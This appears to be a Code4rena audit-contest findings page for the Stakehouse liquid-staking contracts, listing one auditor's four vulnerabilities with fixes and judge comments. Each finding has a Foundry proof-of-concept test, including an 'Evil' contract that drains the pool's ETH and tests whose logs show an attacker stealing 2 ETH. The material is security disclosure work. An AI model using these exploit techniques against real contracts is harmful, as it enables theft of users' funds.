Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $90,500 USDC
Total HM: 52
Participants: 92
Period: 7 days
Judge: LSDan
Total Solo HM: 20
Id: 182
League: ETH
Rank: 8/92
Findings: 4
Award: $2,931.93
🌟 Selected for report: 3
🚀 Solo Findings: 0
🌟 Selected for report: ronnyx2017
Also found by: 9svR6w, HE1M, Lambda, Trust, rotcivegaf
287.9016 USDC - $287.90
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantLP.sol#L39-L47 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L73-L78 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L51-L57
The GiantLP with a transferHookProcessor will call transferHookProcessor.beforeTokenTransfer(_from, _to, _amount)
when it's transferred / minted / burned.
But the to
address is address(0x00) in the erc20 _burn
function. The GiantMevAndFeesPool.beforeTokenTransfer will call the function SyndicateRewardsProcessor._distributeETHRewardsToUserForToken
will a zero address check in the first line:
function _distributeETHRewardsToUserForToken(...) internal { require(_recipient != address(0), "Zero address");
So any withdraw function with a operation of burning the GiantLP token with a transferHookProcessor will revert because of the zero address check. The users' funds will be stuck in the Giant Pool contracts.
I wrote a test about GiantMevAndFeesPool.withdrawETH
function which is used to withdraw eth from the Giant Pool. It will be reverted.
test/foundry/LpBurn.t.sol
pragma solidity ^0.8.13; // SPDX-License-Identifier: MIT import {GiantPoolTests} from "./GiantPools.t.sol"; contract LpBurnTests is GiantPoolTests { function testburn() public{ address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether); vm.startPrank(feesAndMevUserOne); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); giantFeesAndMevPool.withdrawETH(4 ether); vm.stopPrank(); } }
run test
forge test --match-test testburn -vvv
test log:
... ... ├─ [115584] GiantMevAndFeesPool::withdrawETH(4000000000000000000) │ ├─ [585] GiantLP::balanceOf(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266) [staticcall] │ │ └─ ← 4000000000000000000 │ ├─ [128081] GiantLP::burn(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, 4000000000000000000) │ │ ├─ [126775] GiantMevAndFeesPool::beforeTokenTransfer(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, 0x0000000000000000000000000000000000000000, 4000000000000000000) │ │ │ ├─ [371] GiantLP::totalSupply() [staticcall] │ │ │ │ └─ ← 4000000000000000000 │ │ │ ├─ emit ETHReceived(amount: 4000000000000000000) │ │ │ ├─ [585] GiantLP::balanceOf(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266) [staticcall] │ │ │ │ └─ ← 4000000000000000000 │ │ │ ├─ [0] 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266::fallback{value: 4000000000000000000}() │ │ │ │ └─ ← () │ │ │ ├─ emit ETHDistributed(user: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, recipient: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266, amount: 4000000000000000000) │ │ │ ├─ [2585] GiantLP::balanceOf(0x0000000000000000000000000000000000000000) [staticcall] │ │ │ │ └─ ← 0 │ │ │ └─ ← "Zero address" │ │ └─ ← "Zero address" │ └─ ← "Zero address" └─ ← "Zero address"
foundry
skip update rewards for zero address.
#0 - c4-judge
2022-11-20T21:54:19Z
dmvt marked the issue as duplicate of #60
#1 - c4-judge
2022-11-30T11:32:24Z
dmvt marked the issue as satisfactory
#2 - c4-judge
2022-11-30T11:35:53Z
dmvt marked the issue as selected for report
#3 - C4-Staff
2022-12-21T05:49:45Z
JeeberC4 marked the issue as not a duplicate
#4 - C4-Staff
2022-12-21T05:49:52Z
JeeberC4 marked the issue as primary issue
🌟 Selected for report: ronnyx2017
Also found by: cccz
1316.4227 USDC - $1,316.42
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantPoolBase.sol#L57-L60 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76-L90
The contract GiantMevAndFeesPool override the function totalRewardsReceived:
return address(this).balance + totalClaimed - idleETH;
The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP
uint256 received = totalRewardsReceived(); uint256 unprocessed = received - totalETHSeen;
But it will decrease the idleETH
first and then burn the lpTokenETH in the function GiantMevAndFeesPool.withdrawETH
. The lpTokenETH burn option will trigger GiantMevAndFeesPool.beforeTokenTransfer
which will call _updateAccumulatedETHPerLP and send the accumulated rewards to the msg sender. Because of the diminution of the idleETH, the accumulatedETHPerLPShare
is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.
I wrote a test file for proof, but there is another bug/vulnerability which will make the GiantMevAndFeesPool.withdrawETH
function break down. I submitted it as the other finding named "GiantLP with a transferHookProcessor cant be burned, users' funds will be stuck in the Giant Pool". You should fix it first by modifying the code https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L161-L166 to :
if (_to != address(0)) { _distributeETHRewardsToUserForToken( _to, address(lpTokenETH), lpTokenETH.balanceOf(_to), _to ); }
I know modifying the project source code is controversial. Please believe me it's a bug needed to be fixed and it's independent of the current vulnerability.
test: test/foundry/TakeFromGiantPools2.t.sol
pragma solidity ^0.8.13; // SPDX-License-Identifier: MIT import "forge-std/console.sol"; import {GiantPoolTests} from "./GiantPools.t.sol"; contract TakeFromGiantPools2 is GiantPoolTests { function testDWUpdateRate2() public{ address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether); address feesAndMevUserTwo = accountTwo; vm.deal(feesAndMevUserTwo, 4 ether); // Deposit ETH into giant fees and mev vm.startPrank(feesAndMevUserOne); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); vm.stopPrank(); vm.startPrank(feesAndMevUserTwo); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); giantFeesAndMevPool.withdrawETH(4 ether); vm.stopPrank(); console.log("user one:", getBalance(feesAndMevUserOne)); console.log("user two(attacker):", getBalance(feesAndMevUserTwo)); console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool))); } function getBalance(address addr) internal returns (uint){ // just ETH return addr.balance; // + giantFeesAndMevPool.lpTokenETH().balanceOf(addr); } }
run test:
forge test --match-test testDWUpdateRate2 -vvv
test log:
Logs: user one: 0 user two(attacker): 6000000000000000000 giantFeesAndMevPool: 2000000000000000000
The attacker stole 2 eth from the pool.
foundry
idleETH -= _amount;
should be after the lpTokenETH.burn
.
#0 - c4-judge
2022-11-20T22:18:58Z
dmvt marked the issue as primary issue
#1 - c4-sponsor
2022-11-28T17:46:36Z
vince0656 marked the issue as sponsor confirmed
#2 - c4-judge
2022-11-30T13:55:54Z
dmvt marked the issue as selected for report
🌟 Selected for report: ronnyx2017
Also found by: Lambda
1316.4227 USDC - $1,316.42
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178
The contract GiantMevAndFeesPool override the function totalRewardsReceived:
return address(this).balance + totalClaimed - idleETH;
The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP
uint256 received = totalRewardsReceived(); uint256 unprocessed = received - totalETHSeen;
The idleETH will be decreased in the function batchDepositETHForStaking
for sending eth to the staking pool. But the idleETH wont be increased in the function bringUnusedETHBackIntoGiantPool
which is used to burn lp tokens in the staking pool, and the staking pool will send the eth back to the giant pool. And then because of the diminution of the idleETH, the accumulatedETHPerLPShare
is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.
test: test/foundry/TakeFromGiantPools.t.sol
pragma solidity ^0.8.13; // SPDX-License-Identifier: MIT import "forge-std/console.sol"; import {GiantPoolTests} from "./GiantPools.t.sol"; import { LPToken } from "../../contracts/liquid-staking/LPToken.sol"; contract TakeFromGiantPools is GiantPoolTests { function testDWclaimRewards() public{ address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether); address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether); address feesAndMevUserTwo = accountThree; vm.deal(feesAndMevUserTwo, 4 ether); // Register BLS key registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour); // Deposit ETH into giant fees and mev vm.startPrank(feesAndMevUserOne); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); vm.stopPrank(); vm.startPrank(feesAndMevUserTwo); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); bytes[][] memory blsKeysForVaults = new bytes[][](1); blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne); uint256[][] memory stakeAmountsForVaults = new uint256[][](1); stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether); giantFeesAndMevPool.batchDepositETHForStaking( getAddressArrayFromValues(address(manager.stakingFundsVault())), getUint256ArrayFromValues(4 ether), blsKeysForVaults, stakeAmountsForVaults ); vm.warp(block.timestamp+31 minutes); LPToken[] memory tokens = new LPToken[](1); tokens[0] = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne); LPToken[][] memory allTokens = new LPToken[][](1); allTokens[0] = tokens; giantFeesAndMevPool.bringUnusedETHBackIntoGiantPool( getAddressArrayFromValues(address(manager.stakingFundsVault())), allTokens, stakeAmountsForVaults ); // inject a NOOP to skip some functions address[] memory stakingFundsVaults = new address[](1); bytes memory code = new bytes(1); code[0] = 0x00; vm.etch(address(0x123), code); stakingFundsVaults[0] = address(0x123); giantFeesAndMevPool.claimRewards(feesAndMevUserTwo, stakingFundsVaults, blsKeysForVaults); vm.stopPrank(); console.log("user one:", getBalance(feesAndMevUserOne)); console.log("user two(attacker):", getBalance(feesAndMevUserTwo)); console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool))); } function getBalance(address addr) internal returns (uint){ // giant LP : eth at ratio of 1:1 return addr.balance + giantFeesAndMevPool.lpTokenETH().balanceOf(addr); } }
run test:
forge test --match-test testDWclaimRewards -vvv
test log:
Logs: user one: 4000000000000000000 user two(attacker): 6000000000000000000 giantFeesAndMevPool: 6000000000000000000
The attacker stole 2 eth from the pool.
fodunry
Add
idleETH += _amounts[i];
before burnLPTokensForETH in the GiantMevAndFeesPool.bringUnusedETHBackIntoGiantPool function.
#0 - c4-judge
2022-11-21T11:25:17Z
dmvt marked the issue as duplicate of #140
#1 - c4-judge
2022-11-21T17:08:05Z
dmvt marked the issue as not a duplicate
#2 - c4-judge
2022-11-21T17:08:11Z
dmvt marked the issue as duplicate of #141
#3 - c4-judge
2022-11-24T09:48:36Z
dmvt marked the issue as selected for report
#4 - c4-sponsor
2022-11-28T17:27:49Z
vince0656 marked the issue as sponsor confirmed
#5 - c4-judge
2022-11-30T14:03:43Z
dmvt marked the issue as satisfactory
#6 - c4-judge
2022-12-15T09:29:54Z
dmvt marked the issue as not a duplicate
#7 - c4-judge
2022-12-15T09:30:00Z
dmvt marked the issue as primary issue
🌟 Selected for report: Jeiwan
Also found by: 0xdeadbeef0x, 9svR6w, JTJabba, Lambda, Trust, arcoun, banky, bin2chen, bitbopper, c7e7eff, clems4ever, datapunk, fs0c, hihen, imare, immeas, perseverancesuccess, ronnyx2017, satoshipotato, unforgiven, wait
11.192 USDC - $11.19
GiantMevAndFeesPool.batchDepositETHForStaking use a external call sfv.liquidStakingNetworkManager()
to check if the input stakingFundsVault is valide. The attacker can deploy an evil contract with the liquidStakingNetworkManager
function returning the valide manager address to pass the check. And finally, GiantMevAndFeesPool will send all the available eth (idleETH) to the evil contract.
test file: test/foundry/GMAFP_batchDepositETHForStaking.t.sol
pragma solidity ^0.8.13; // SPDX-License-Identifier: MIT import {GiantPoolTests} from "./GiantPools.t.sol"; import "forge-std/console.sol"; contract Evil{ address public manager; address public owner; constructor(address _m){ owner = msg.sender; manager = _m; } function liquidStakingNetworkManager() external returns (address){ return manager; } function returnMeEth() external{ require(msg.sender == owner); payable(msg.sender).send(address(this).balance); } fallback() payable external{ } } contract GMAFP_batchDepositETHForStaking is GiantPoolTests { function test_batchDepositETHForStaking() public{ address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether); vm.startPrank(feesAndMevUserOne); giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether); vm.stopPrank(); address attacker = address(0x123); vm.startPrank(attacker); Evil _e = new Evil(address(manager)); address[] memory _stakingFundsVault = new address[](1); _stakingFundsVault[0] = address(_e); uint256[] memory _ETHTransactionAmounts = new uint256[](1); _ETHTransactionAmounts[0] = 4 ether; bytes[][] memory _blsPublicKeyOfKnots = new bytes[][](1); uint256[][] memory _amounts = new uint256[][](1); giantFeesAndMevPool.batchDepositETHForStaking(_stakingFundsVault, _ETHTransactionAmounts, _blsPublicKeyOfKnots, _amounts); _e.returnMeEth(); vm.stopPrank(); console.log("attacker: ", attacker.balance); console.log("pool: ", address(giantFeesAndMevPool).balance); } }
run test:
forge test --match-test test_batchDepositETHForStaking -vvv
test log:
Logs: attacker: 4000000000000000000 pool: 0
fodunry
Don't use external calls to the input address for checking the stakingFundsVault
#0 - c4-judge
2022-11-20T23:54:30Z
dmvt marked the issue as duplicate of #36
#1 - c4-judge
2022-11-29T15:37:01Z
dmvt marked the issue as satisfactory
#2 - C4-Staff
2022-12-21T05:40:16Z
JeeberC4 marked the issue as duplicate of #36
#3 - liveactionllama
2022-12-22T08:46:55Z
Duplicate of #251